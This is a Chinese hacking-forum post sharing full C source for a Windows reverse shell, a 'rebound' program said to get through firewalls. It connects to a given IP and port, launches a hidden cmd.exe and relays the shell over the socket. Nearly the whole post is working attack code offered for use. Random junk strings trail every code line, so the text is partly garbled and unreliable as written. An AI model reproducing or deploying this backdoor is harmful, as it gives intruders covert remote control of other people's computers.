社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 4785阅读
  • 0回复

Windows下端口反弹

级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 !-2nIY!  
|iLeOztuE  
/* ============================== i cQsA  
Rebound port in Windows NT lEQ 63)Z  
By wind,2006/7 zu(/ c  
===============================*/ S"CsY2;  
#include 1m|Oi%i4  
#include 0fxA*]h  
 ?Vbe  
#pragma comment(lib,"wsock32.lib") a ^iefwsNc  
yrR<F5xge  
void OutputShell(); "@Ra>qb  
SOCKET sClient; Ik>sd@X*|  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; q-/A_5>!;f  
tQ5gmj  
void main(int argc,char **argv) 0gm+R3;k^  
{ 1& YcCN\k  
WSADATA stWsaData; 8'Xpx+v  
int nRet; ;Y?7|G97*S  
SOCKADDR_IN stSaiClient,stSaiServer; {(o\G"\<XY  
G2ZF`WQ  
if(argc != 3) %N|7<n<S  
{ }%| (G[  
printf("Useage:\n\rRebound DestIP DestPort\n"); Pw1V1v&> q  
return; ([_ls8  
} qXt2m  
4fr/ C5M  
WSAStartup(MAKEWORD(2,2),&stWsaData); 1N x%uz  
9j49#wG0"B  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); _T6WA&;8  
[`=|^2n?  
stSaiClient.sin_family = AF_INET; 6NZ3(   
stSaiClient.sin_port = htons(0); W |G(x8  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); $bF.6  
 8y OzD  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) /jC0[%~jV  
{ kFHqQs aG  
printf("Bind Socket Failed!\n"); /e|`mu%  
return; 1FjA   
} N12K*P[!  
702&E(rx,  
stSaiServer.sin_family = AF_INET; NVS U)#  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); )$P!7$C-  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); r5(OH3  
`dMOBYV  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) "@ Zy+zLU  
{ }pu2/44=W  
printf("Connect Error!"); 4Yt:PN2  
return; ',z'.t  
} (toGU  
OutputShell(); 1MRt_*N4  
} *P$5k1  
K~+y<z E  
void OutputShell()  M)Yu^  
{ 3_J9SwtN  
char szBuff[1024]; |5V#&e\ES  
SECURITY_ATTRIBUTES stSecurityAttributes; |m"2B]"@  
OSVERSIONINFO stOsversionInfo; -F4CHpua  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; IA&((\YC  
STARTUPINFO stStartupInfo; }{ pNasAU  
char *szShell; :)q/8 0@  
PROCESS_INFORMATION stProcessInformation; r*>XkM& M  
unsigned long lBytesRead; 4^w>An6  
RB\>$D  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); / ]>&OSV  
hnvn&{|  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); ]QtdT8~  
stSecurityAttributes.lpSecurityDescriptor = 0; 5[al^'y  
stSecurityAttributes.bInheritHandle = TRUE; /6gqpzum4  
)KaQ\WJ:   
JR$Dp&]I  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); )qn =  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); :?RooJ~#  
3.Ni%FF`  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); ORv[Gkq_N)  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; er+m:XuV  
stStartupInfo.wShowWindow = SW_HIDE; #| A @  
stStartupInfo.hStdInput = hReadPipe; Y%^&aacZ  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; GJy><'J,!>  
00%$?Fyk  
GetVersionEx(&stOsversionInfo); 1#(,Bq4  
2OAh7'8<  
switch(stOsversionInfo.dwPlatformId) "%A/bv\u  
{ VaZS_ qGe:  
case 1: 6@wnF>'/\  
szShell = "command.com"; *.Y! ZaK  
break; |B)e! #  
default: +{]/ b%P  
szShell = "cmd.exe"; HzQ6KYAMq  
break; `;hsOfo  
} oE"!  
 n1y#gC  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); Z!G;q}zZ!  
GaSk &'n$Y  
send(sClient,szMsg,77,0); +TpM7QaL  
while(1) w{F8]N>0<  
{ cGsP0LkHC  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); {h&*H[Z z  
if(lBytesRead) G&/}P$  
{ fyYv}z  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); O(~`fN?n  
send(sClient,szBuff,lBytesRead,0); Q'*-gg&)  
} }}cVPB7   
else BtBy.bR  
{ fk*JoR.o  
lBytesRead=recv(sClient,szBuff,1024,0); >f'n l  
if(lBytesRead<=0) break; q0`Vw%  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); q_OIzZ@  
} / w_ Sc{  
} R@=ve %a-  
Rk"VFe>r  
return; viD+~j18  
}
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
描述
快速回复

您目前还是游客,请 登录注册
批量上传需要先选择文件,再选择上传
认证码:
验证问题:
10+5=?,请输入中文答案:十五